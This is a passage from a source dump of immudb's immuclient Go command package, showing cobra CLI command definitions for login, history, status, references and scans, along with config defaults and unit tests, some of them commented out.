client.DefaultOptions().Address)\n\tviper.SetDefault(\"password\", \"\")\n\tviper.SetDefault(\"username\", \"\")\n\tviper.SetDefault(\"database\", \"\")\n\tviper.SetDefault(\"tokenfile\", client.DefaultOptions().TokenFileName)\n\tviper.SetDefault(\"mtls\", client.DefaultOptions().MTLs)\n\tviper.SetDefault(\"max-recv-msg-size\", client.DefaultOptions().MaxRecvMsgSize)\n\tviper.SetDefault(\"servername\", client.DefaultMTLsOptions().Servername)\n\tviper.SetDefault(\"certificate\", client.DefaultMTLsOptions().Certificate)\n\tviper.SetDefault(\"pkey\", client.DefaultMTLsOptions().Pkey)\n\tviper.SetDefault(\"clientcas\", client.DefaultMTLsOptions().ClientCAs)\n\tviper.SetDefault(\"value-only\", false)\n\tviper.SetDefault(\"revision-separator\", \"@\")\n\tviper.SetDefault(\"roots-filepath\", os.TempDir())\n\tviper.SetDefault(\"audit-password\", \"\")\n\tviper.SetDefault(\"audit-username\", \"\")\n\tviper.SetDefault(\"audit-databases\", \"\")\n\tviper.SetDefault(\"audit-notification-url\", \"\")\n\tviper.SetDefault(\"audit-notification-username\", \"\")\n\tviper.SetDefault(\"audit-notification-password\", \"\")\n\tviper.SetDefault(\"audit-monitoring-host\", \"0.0.0.0\")\n\tviper.SetDefault(\"audit-monitoring-port\", 9477)\n\tviper.SetDefault(\"server-signing-pub-key\", \"\")\n\tviper.SetDefault(\"dir\", os.TempDir())\n\treturn nil\n}\n"
  },
  {
    "path": "cmd/immuclient/command/init_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuclient\n\nimport (\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/cmd/helper\"\n\t\"github.com/stretchr/testify/require\"\n\n\t\"github.com/spf13/cobra\"\n)\n\nfunc _TestInit(t *testing.T) {\n\tcm := NewCommand()\n\trequire.Len(t, cm.Commands(), 28, \"fail immuclient commands, wrong number of expected commands\")\n}\n\nfunc TestConnect(t *testing.T) {\n\tic := setupTest(t)\n\n\tcmd := commandline{\n\t\tconfig: helper.Config{Name: \"immuclient\"},\n\t\timmucl: ic.Imc,\n\t}\n\t_ = cmd.connect(&cobra.Command{}, []string{})\n\tcmd.disconnect(&cobra.Command{}, []string{})\n}\n"
  },
  {
    "path": "cmd/immuclient/command/login.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuclient\n\nimport (\n\t\"github.com/spf13/cobra\"\n)\n\nfunc (cl *commandline) login(cmd *cobra.Command) {\n\tccmd := &cobra.Command{\n\t\tUse:               \"login username (you may be prompted for password)\",\n\t\tShort:             \"Login using the specified username and password\",\n\t\tAliases:           []string{\"l\"},\n\t\tPersistentPreRunE: cl.ConfigChain(cl.connect),\n\t\tPersistentPostRun: cl.disconnect,\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tresp, err := cl.immucl.Login(args)\n\t\t\tif err != nil {\n\t\t\t\tcl.quit(err)\n\t\t\t}\n\t\t\tfprintln(cmd.OutOrStdout(), resp)\n\t\t\treturn nil\n\t\t},\n\t\tArgs: cobra.MaximumNArgs(1),\n\t}\n\tcmd.AddCommand(ccmd)\n}\n\nfunc (cl *commandline) logout(cmd *cobra.Command) {\n\tccmd := &cobra.Command{\n\t\tUse:               \"logout\",\n\t\tAliases:           []string{\"x\"},\n\t\tPersistentPreRunE: cl.ConfigChain(cl.connect),\n\t\tPersistentPostRun: cl.disconnect,\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tresp, err := cl.immucl.Logout(args)\n\t\t\tif err != nil {\n\t\t\t\tcl.quit(err)\n\t\t\t}\n\t\t\tfprintln(cmd.OutOrStdout(), resp)\n\t\t\treturn nil\n\t\t},\n\t\tArgs: cobra.NoArgs,\n\t}\n\tcmd.AddCommand(ccmd)\n}\n"
  },
  {
    "path": "cmd/immuclient/command/login_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuclient\n\nimport (\n\t\"bytes\"\n\t\"io/ioutil\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/cmd/helper\"\n\ttest \"github.com/codenotary/immudb/cmd/immuclient/immuclienttest\"\n\t\"github.com/codenotary/immudb/pkg/client\"\n\t\"github.com/codenotary/immudb/pkg/client/tokenservice\"\n\t\"github.com/codenotary/immudb/pkg/server\"\n\t\"github.com/codenotary/immudb/pkg/server/servertest\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestLogin(t *testing.T) {\n\toptions := server.DefaultOptions().WithDir(t.TempDir())\n\tbs := servertest.NewBufconnServer(options)\n\tbs.Start()\n\tt.Cleanup(func() { bs.Stop() })\n\n\tts := tokenservice.NewInmemoryTokenService()\n\tic := test.NewClientTest(&test.PasswordReader{\n\t\tPass: []string{\"immudb\"},\n\t}, ts, client.DefaultOptions().WithDir(t.TempDir()))\n\n\tic.Connect(bs.Dialer)\n\n\tcmdl := commandline{\n\t\tconfig: helper.Config{Name: \"immuclient\"},\n\t\timmucl: ic.Imc,\n\t}\n\tcmd, _ := cmdl.NewCmd()\n\tcmdl.login(cmd)\n\tb := bytes.NewBufferString(\"\")\n\tcmd.SetOut(b)\n\tcmd.SetArgs([]string{\"login\", \"immudb\"})\n\n\t// remove ConfigChain method to avoid options override\n\tcmd.PersistentPreRunE = nil\n\tinnercmd := cmd.Commands()[0]\n\tinnercmd.PersistentPreRunE = nil\n\t// since we issue two commands we need to remove PersistentPostRun ( disconnect )\n\tinnercmd.PersistentPostRun = nil\n\n\terr := cmd.Execute()\n\trequire.NoError(t, err)\n\n\tmsg, err := ioutil.ReadAll(b)\n\trequire.NoError(t, err)\n\trequire.Contains(t, string(msg), \"Successfully logged in\")\n\n\tcmd, err = cmdl.NewCmd()\n\trequire.NoError(t, err)\n\n\tcmdl.logout(cmd)\n\tcmd.SetOut(b)\n\tcmd.SetArgs([]string{\"logout\"})\n\n\t// remove ConfigChain method to avoid options override\n\tcmd.PersistentPreRunE = nil\n\tinnercmd = cmd.Commands()[0]\n\tinnercmd.PersistentPreRunE = nil\n\n\terr = cmd.Execute()\n\trequire.NoError(t, err)\n\n\t_, err = ioutil.ReadAll(b)\n\trequire.NoError(t, err)\n}\n"
  },
  {
    "path": "cmd/immuclient/command/misc.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuclient\n\nimport (\n\t\"github.com/codenotary/immudb/cmd/immuclient/audit\"\n\t\"github.com/codenotary/immudb/cmd/immuclient/cli\"\n\tservice \"github.com/codenotary/immudb/cmd/immuclient/service/constants\"\n\t\"github.com/spf13/cobra\"\n)\n\nfunc (cl *commandline) history(cmd *cobra.Command) {\n\tccmd := &cobra.Command{\n\t\tUse:               \"history key\",\n\t\tShort:             \"Fetch history for the item having the specified key\",\n\t\tAliases:           []string{\"h\"},\n\t\tPersistentPreRunE: cl.ConfigChain(cl.connect),\n\t\tPersistentPostRun: cl.disconnect,\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tresp, err := cl.immucl.History(args)\n\t\t\tif err != nil {\n\t\t\t\tcl.quit(err)\n\t\t\t}\n\t\t\tfprintln(cmd.OutOrStdout(), resp)\n\t\t\treturn nil\n\t\t},\n\t\tArgs: cobra.ExactArgs(1),\n\t}\n\tcmd.AddCommand(ccmd)\n}\n\nfunc (cl *commandline) status(cmd *cobra.Command) {\n\tccmd := &cobra.Command{\n\t\tUse:               \"status\",\n\t\tShort:             \"Ping to check if server connection is alive\",\n\t\tAliases:           []string{\"p\"},\n\t\tPersistentPreRunE: cl.ConfigChain(cl.connect),\n\t\tPersistentPostRun: cl.disconnect,\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tresp, err := cl.immucl.CurrentState(args)\n\t\t\tif err != nil {\n\t\t\t\tcl.quit(err)\n\t\t\t}\n\t\t\tfprintln(cmd.OutOrStdout(), resp)\n\t\t\treturn nil\n\t\t},\n\t\tArgs: cobra.NoArgs,\n\t}\n\tcmd.AddCommand(ccmd)\n}\n\nfunc (cl *commandline) auditmode(cmd *cobra.Command) {\n\tccmd := &cobra.Command{\n\t\tUse:       \"audit-mode command\",\n\t\tShort:     \"Starts immuclient as daemon in auditor mode. Run 'immuclient help audit-mode' or use -h flag for details\",\n\t\tAliases:   []string{\"audit-mode\"},\n\t\tExample:   service.UsageExamples,\n\t\tValidArgs: []string{\"start\", \"install\", \"uninstall\", \"restart\", \"stop\", \"status\"},\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tif err := audit.Init(args, cmd.Parent()); err != nil {\n\t\t\t\tcl.quit(err)\n\t\t\t}\n\t\t\treturn nil\n\t\t},\n\t}\n\tcmd.AddCommand(ccmd)\n}\n\n// #TODO will be new root.\nfunc (cl *commandline) interactiveCli(cmd *cobra.Command) {\n\tccmd := &cobra.Command{\n\t\tUse:     \"it\",\n\t\tShort:   \"Starts immuclient in CLI mode. Use 'help' in the shell or the -h flag for details\",\n\t\tAliases: []string{\"cli-mode\"},\n\t\tExample: cli.Init(cl.immucl).HelpMessage(),\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tif err := cl.immucl.Connect(args); err != nil {\n\t\t\t\tcl.quit(err)\n\t\t\t}\n\t\t\tcli.Init(cl.immucl).Run()\n\t\t\treturn nil\n\t\t},\n\t}\n\tcmd.AddCommand(ccmd)\n}\n\nfunc (cl *commandline) use(cmd *cobra.Command) {\n\tccmd := &cobra.Command{\n\t\tUse:               \"use\",\n\t\tShort:             \"Select database\",\n\t\tExample:           \"use {database_name}\",\n\t\tPersistentPreRunE: cl.ConfigChain(cl.connect),\n\t\tPersistentPostRun: cl.disconnect,\n\t\tValidArgs:         []string{\"databasename\"},\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tresp, err := cl.immucl.UseDatabase(args)\n\t\t\tif err != nil {\n\t\t\t\tcl.quit(err)\n\t\t\t}\n\t\t\tfprintln(cmd.OutOrStdout(), resp)\n\t\t\treturn nil\n\t\t},\n\t\tArgs: cobra.MinimumNArgs(1),\n\t}\n\tcmd.AddCommand(ccmd)\n}\n"
  },
  {
    "path": "cmd/immuclient/command/misc_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuclient\n\n/*\nimport (\n\t\"bytes\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/cmd/helper\"\n\t\"github.com/codenotary/immudb/pkg/auth\"\n\t\"github.com/codenotary/immudb/pkg/client\"\n\n\ttest \"github.com/codenotary/immudb/cmd/immuclient/immuclienttest\"\n\t\"github.com/codenotary/immudb/pkg/server\"\n\t\"github.com/codenotary/immudb/pkg/server/servertest\"\n)\n\nfunc TestHistory(t *testing.T) {\n\toptions := server.Options{}.WithAuth(true).WithInMemoryStore(true).WithAdminPassword(auth.SysAdminPassword)\n\tbs := servertest.NewBufconnServer(options)\n\tbs.Start()\ndefer bs.Stop()\n\n\tts := tokenservice.NewTokenService().WithTokenFileName(\"testTokenFile\").WithHds(&test.HomedirServiceMock{})\n\tic := test.NewClientTest(&test.PasswordReader{\n\t\tPass: []string{\"immudb\"},\n\t}, ts)\nic.\nConnect(bs.Dialer)\n\tic.Login(\"immudb\")\n\n\tcmdl := commandline{\n\t\tconfig: helper.Config{Name: \"immuclient\"},\n\t\timmucl: ic.Imc,\n\t}\n\tcmd, _ := cmdl.NewCmd()\n\tcmdl.history(cmd)\n\tb := bytes.NewBufferString(\"\")\n\tcmd.SetOut(b)\n\n\tcmdl.immucl.SafeSet([]string{\"key\", \"value\"})\n\n\tcmd.SetArgs([]string{\"history\", \"key\"})\n\n\t// remove ConfigChain method to avoid options override\n\tcmd.PersistentPreRunE = nil\n\tinnercmd := cmd.Commands()[0]\n\tinnercmd.PersistentPreRunE = nil\n\n\terr := cmd.Execute()\n\n\trequire.NoError(t, err)\n\tmsg, err := ioutil.ReadAll(b)\n\trequire.NoError(t, err)\n\trequire.Contains(t, string(msg), \"hash\")\n}\nfunc TestStatus(t *testing.T) {\n\tdefer os.Remove(\".root-\")\n\toptions := server.Options{}.WithAuth(true).WithInMemoryStore(true).WithAdminPassword(auth.SysAdminPassword)\n\tbs := servertest.NewBufconnServer(options)\n\tbs.Start()\ndefer bs.Stop()\n\n\tts := tokenservice.NewTokenService().WithTokenFileName(\"testTokenFile\").WithHds(&test.HomedirServiceMock{})\n\tic := test.NewClientTest(&test.PasswordReader{\n\t\tPass: []string{\"immudb\"},\n\t}, ts)\nic.\nConnect(bs.Dialer)\n\tic.Login(\"immudb\")\n\n\tcmdl := commandline{\n\t\tconfig: helper.Config{Name: \"immuclient\"},\n\t\timmucl: ic.Imc,\n\t}\n\tcmd, _ := cmdl.NewCmd()\n\tcmdl.status(cmd)\n\tb := bytes.NewBufferString(\"\")\n\tcmd.SetOut(b)\n\n\tcmdl.immucl.SafeSet([]string{\"key\", \"value\"})\n\n\tcmd.SetArgs([]string{\"status\"})\n\n\t// remove ConfigChain method to avoid options override\n\tcmd.PersistentPreRunE = nil\n\tinnercmd := cmd.Commands()[0]\n\tinnercmd.PersistentPreRunE = nil\n\n\terr := cmd.Execute()\n\n\trequire.NoError(t, err)\n\tmsg, err := ioutil.ReadAll(b)\n\trequire.NoError(t, err)\n\trequire.Contains(t, string(msg), \"Health check OK\")\n}\n\nfunc TestUseDatabase(t *testing.T) {\n\toptions := server.Options{}.WithAuth(true).WithInMemoryStore(true).WithAdminPassword(auth.SysAdminPassword)\n\tbs := servertest.NewBufconnServer(options)\n\tbs.Start()\ndefer bs.Stop()\n\n\tts := tokenservice.NewTokenService().WithTokenFileName(\"testTokenFile\").WithHds(&test.HomedirServiceMock{})\n\tic := test.NewClientTest(&test.PasswordReader{\n\t\tPass: []string{\"immudb\"},\n\t}, ts)\nic.\nConnect(bs.Dialer)\n\tic.Login(\"immudb\")\n\n\tcmdl := commandline{\n\t\tconfig: helper.Config{Name: \"immuclient\"},\n\t\timmucl: ic.Imc,\n\t}\n\t_, err := ic.Imc.CreateDatabase([]string{\"mynewdb\"})\n\trequire.NoError(t, err)\n\tcmd, _ := cmdl.NewCmd()\n\tcmdl.use(cmd)\n\tb := bytes.NewBufferString(\"\")\n\tcmd.SetOut(b)\n\n\tcmd.SetArgs([]string{\"use\", \"mynewdb\"})\n\n\t// remove ConfigChain method to avoid options override\n\tcmd.PersistentPreRunE = nil\n\tinnercmd := cmd.Commands()[0]\n\tinnercmd.PersistentPreRunE = nil\n\n\terr = cmd.Execute()\n\trequire.NoError(t, err)\n\tmsg, err := ioutil.ReadAll(b)\n\trequire.NoError(t, err)\n\trequire.Contains(t, string(msg), \"mynewdb\")\n}\n*/\n"
  },
  {
    "path": "cmd/immuclient/command/references.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuclient\n\nimport (\n\t\"github.com/spf13/cobra\"\n)\n\nfunc (cl *commandline) reference(cmd *cobra.Command) {\n\tccmd := &cobra.Command{\n\t\tUse:               \"reference refkey key\",\n\t\tShort:             \"Add new reference to an existing key\",\n\t\tAliases:           []string{\"r\"},\n\t\tPersistentPreRunE: cl.ConfigChain(cl.connect),\n\t\tPersistentPostRun: cl.disconnect,\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tresp, err := cl.immucl.SetReference(args)\n\t\t\tif err != nil {\n\t\t\t\tcl.quit(err)\n\t\t\t}\n\t\t\tfprintln(cmd.OutOrStdout(), resp)\n\t\t\treturn nil\n\t\t},\n\t\tArgs: cobra.MinimumNArgs(1),\n\t}\n\tcmd.AddCommand(ccmd)\n}\n\nfunc (cl *commandline) safereference(cmd *cobra.Command) {\n\tccmd := &cobra.Command{\n\t\tUse:               \"safereference refkey key\",\n\t\tShort:             \"Add and verify new reference to an existing key\",\n\t\tAliases:           []string{\"sr\"},\n\t\tPersistentPreRunE: cl.ConfigChain(cl.connect),\n\t\tPersistentPostRun: cl.disconnect,\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tresp, err := cl.immucl.VerifiedSetReference(args)\n\t\t\tif err != nil {\n\t\t\t\tcl.quit(err)\n\t\t\t}\n\t\t\tfprintln(cmd.OutOrStdout(), resp)\n\t\t\treturn nil\n\t\t},\n\t\tArgs: cobra.MinimumNArgs(1),\n\t}\n\tcmd.AddCommand(ccmd)\n}\n"
  },
  {
    "path": "cmd/immuclient/command/references_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuclient\n\n/*\nimport (\n\t\"bytes\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/cmd/helper\"\n\t\"github.com/codenotary/immudb/pkg/auth\"\n\t\"github.com/codenotary/immudb/pkg/client\"\n\n\ttest \"github.com/codenotary/immudb/cmd/immuclient/immuclienttest\"\n\t\"github.com/codenotary/immudb/pkg/server\"\n\t\"github.com/codenotary/immudb/pkg/server/servertest\"\n)\n\nfunc TestReference(t *testing.T) {\n\toptions := server.Options{}.WithAuth(true).WithInMemoryStore(true).WithAdminPassword(auth.SysAdminPassword)\n\tbs := servertest.NewBufconnServer(options)\n\tbs.Start()\ndefer bs.Stop()\n\n\tts := tokenservice.NewTokenService().WithTokenFileName(\"testTokenFile\").WithHds(&test.HomedirServiceMock{})\n\tic := test.NewClientTest(&test.PasswordReader{\n\t\tPass: []string{\"immudb\"},\n\t}, ts)\nic.\nConnect(bs.Dialer)\n\tic.Login(\"immudb\")\n\n\tcmdl := commandline{\n\t\tconfig: helper.Config{Name: \"immuclient\"},\n\t\timmucl: ic.Imc,\n\t}\n\tcmd, _ := cmdl.NewCmd()\n\tcmdl.reference(cmd)\n\tb := bytes.NewBufferString(\"\")\n\tcmd.SetOut(b)\n\n\tcmdl.immucl.SafeSet([]string{\"key\", \"value\"})\n\n\tcmd.SetArgs([]string{\"reference\", \"key1\", \"key\"})\n\n\t// remove ConfigChain method to avoid options override\n\tcmd.PersistentPreRunE = nil\n\tinnercmd := cmd.Commands()[0]\n\tinnercmd.PersistentPreRunE = nil\n\n\terr := cmd.Execute()\n\n\trequire.NoError(t, err)\n\tmsg, err := ioutil.ReadAll(b)\n\trequire.NoError(t, err)\n\trequire.Contains(t, string(msg), \"hash\")\n}\n\nfunc TestSafeReference(t *testing.T) {\n\tdefer os.Remove(\".root-\")\n\toptions := server.Options{}.WithAuth(true).WithInMemoryStore(true).WithAdminPassword(auth.SysAdminPassword)\n\tbs := servertest.NewBufconnServer(options)\n\tbs.Start()\ndefer bs.Stop()\n\n\tts := tokenservice.NewTokenService().WithTokenFileName(\"testTokenFile\").WithHds(&test.HomedirServiceMock{})\n\tic := test.NewClientTest(&test.PasswordReader{\n\t\tPass: []string{\"immudb\"},\n\t}, ts)\nic.\nConnect(bs.Dialer)\n\tic.Login(\"immudb\")\n\n\tcmdl := commandline{\n\t\tconfig: helper.Config{Name: \"immuclient\"},\n\t\timmucl: ic.Imc,\n\t}\n\tcmd, _ := cmdl.NewCmd()\n\tcmdl.safereference(cmd)\n\tb := bytes.NewBufferString(\"\")\n\tcmd.SetOut(b)\n\n\tcmdl.immucl.SafeSet([]string{\"key\", \"value\"})\n\n\tcmd.SetArgs([]string{\"safereference\", \"key1\", \"key\"})\n\n\t// remove ConfigChain method to avoid options override\n\tcmd.PersistentPreRunE = nil\n\tinnercmd := cmd.Commands()[0]\n\tinnercmd.PersistentPreRunE = nil\n\n\terr := cmd.Execute()\n\n\trequire.NoError(t, err)\n\tmsg, err := ioutil.ReadAll(b)\n\trequire.NoError(t, err)\n\trequire.Contains(t, string(msg), \"hash\")\n}\n*/\n"
  },
  {
    "path": "cmd/immuclient/command/root.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuclient\n\nimport (\n\t\"github.com/codenotary/immudb/cmd/immuclient/cli\"\n\t\"github.com/spf13/cobra\"\n)\n\n// NewCmd ...\nfunc (cl *commandline) NewCmd() (*cobra.Command, error) {\n\tcmd := &cobra.Command{\n\t\tUse:   \"immuclient\",\n\t\tShort: \"CLI client for immudb - the lightweight, high-speed immutable database for systems and applications\",\n\t\tLong: `CLI client for immudb - the lightweight, high-speed immutable database for systems and applications.\n\nimmudb documentation:\n  https://docs.immudb.io/\n\nEnvironment variables:\n  IMMUCLIENT_IMMUDB_ADDRESS=127.0.0.1\n  IMMUCLIENT_IMMUDB_PORT=3322\n  IMMUCLIENT_AUTH=true\n  IMMUCLIENT_USERNAME=username\n  IMMUCLIENT_PASSWORD=password\n  IMMUCLIENT_DATABASE=database\n  IMMUCLIENT_MTLS=false\n  IMMUCLIENT_MAX_RECV_MSG_SIZE=4194304\n  IMMUCLIENT_SERVERNAME=localhost\n  IMMUCLIENT_PKEY=./tools/mtls/4_client/private/localhost.key.pem\n  IMMUCLIENT_CERTIFICATE=./tools/mtls/4_client/certs/localhost.cert.pem\n  IMMUCLIENT_CLIENTCAS=./tools/mtls/2_intermediate/certs/ca-chain.cert.pem\n  IMMUCLIENT_SERVER_SIGNING_PUB_KEY=\n  IMMUCLIENT_REVISION_SEPARATOR=@\n\nIMPORTANT: All get and safeget functions return base64-encoded keys and values, while all set and safeset functions expect base64-encoded inputs.`,\n\t\tDisableAutoGenTag: true,\n\t\tPersistentPreRunE: cl.ConfigChain(nil),\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\terr := cl.immucl.Connect(args)\n\t\t\tif err != nil {\n\t\t\t\tcl.quit(err)\n\t\t\t}\n\t\t\tcli.Init(cl.immucl).Run()\n\t\t\treturn nil\n\t\t},\n\t}\n\tif err := cl.configureFlags(cmd); err != nil {\n\t\treturn nil, err\n\t}\n\treturn cmd, nil\n}\n"
  },
  {
    "path": "cmd/immuclient/command/scanners.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuclient\n\nimport (\n\t\"github.com/spf13/cobra\"\n)\n\nfunc (cl *commandline) zScan(cmd *cobra.Command) {\n\tccmd := &cobra.Command{\n\t\tUse:               \"zscan setname\",\n\t\tShort:             \"Iterate over a sorted set\",\n\t\tAliases:           []string{\"zscn\"},\n\t\tPersistentPreRunE: cl.ConfigChain(cl.connect),\n\t\tPersistentPostRun: cl.disconnect,\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tresp, err := cl.immucl.ZScan(args)\n\t\t\tif err != nil {\n\t\t\t\tcl.quit(err)\n\t\t\t}\n\t\t\tfprintln(cmd.OutOrStdout(), resp)\n\t\t\treturn nil\n\t\t},\n\t\tArgs: cobra.ExactArgs(1),\n\t}\n\tcmd.AddCommand(ccmd)\n}\n\nfunc (cl *commandline) scan(cmd *cobra.Command) {\n\tccmd := &cobra.Command{\n\t\tUse:               \"scan prefix\",\n\t\tShort:             \"Iterate over keys having the specified prefix\",\n\t\tAliases:           []string{\"scn\"},\n\t\tPersistentPreRunE: cl.ConfigChain(cl.connect),\n\t\tPersistentPostRun: cl.disconnect,\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tresp, err := cl.immucl.Scan(args)\n\t\t\tif err != nil {\n\t\t\t\tcl.quit(err)\n\t\t\t}\n\t\t\tfprintln(cmd.OutOrStdout(), resp)\n\t\t\treturn nil\n\t\t},\n\t\tArgs: cobra.ExactArgs(1),\n\t}\n\tcmd.AddCommand(ccmd)\n}\n\nfunc (cl *commandline) count(cmd *cobra.Command) {\n\tccmd := &cobra.Command{\n\t\tUse:               \"count keys\",\n\t\tShort:             \"Count keys having the specified value\",\n\t\tAliases:           []string{\"cnt\"},\n\t\tPersistentPreRunE: cl.ConfigChain(cl.connect),\n\t\tPersistentPostRun: cl.disconnect,\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tresp, err := cl.immucl.Count(args)\n\t\t\tif err != nil {\n\t\t\t\tcl.quit(err)\n\t\t\t}\n\t\t\tfprintln(cmd.OutOrStdout(), resp)\n\t\t\treturn nil\n\t\t},\n\t\tArgs: cobra.ExactArgs(1),\n\t}\n\tcmd.AddCommand(ccmd)\n}\n"
  },
  {
    "path": "cmd/immuclient/command/scanners_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuclient\n\n/*\nimport (\n\t\"bytes\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/cmd/helper\"\n\t\"github.com/codenotary/immudb/pkg/auth\"\n\t\"github.com/codenotary/immudb/pkg/client\"\n\n\ttest \"github.com/codenotary/immudb/cmd/immuclient/immuclienttest\"\n\t\"github.com/codenotary/immudb/pkg/server\"\n\t\"github.com/codenotary/immudb/pkg/server/servertest\"\n)\n\nfunc TestZScan(t *testing.T) {\n\tdefer os.Remove(\".root-\")\n\toptions := server.Options{}.WithAuth(true).WithInMemoryStore(true).WithAdminPassword(auth.SysAdminPassword)\n\tbs := servertest.NewBufconnServer(options)\n\tbs.Start()\ndefer bs.Stop()\n\n\tts := tokenservice.NewTokenService().WithTokenFileName(\"testTokenFile\").WithHds(&test.HomedirServiceMock{})\n\tic := test.NewClientTest(&test.PasswordReader{\n\t\tPass: []string{\"immudb\"},\n\t}, ts)\nic.\nConnect(bs.Dialer)\n\tic.Login(\"immudb\")\n\n\tcmdl := commandline{\n\t\tconfig: helper.Config{Name: \"immuclient\"},\n\t\timmucl: ic.Imc,\n\t}\n\tcmd, _ := cmdl.NewCmd()\n\tcmdl.zScan(cmd)\n\tb := bytes.NewBufferString(\"\")\n\tcmd.SetOut(b)\n\tcmdl.immucl.SafeSet([]string{\"key\", \"value\"})\n\n\tcmdl.immucl.ZAdd([]string{\"set\", \"10.5\", \"key\"})\n\n\tcmd.SetArgs([]string{\"zscan\", 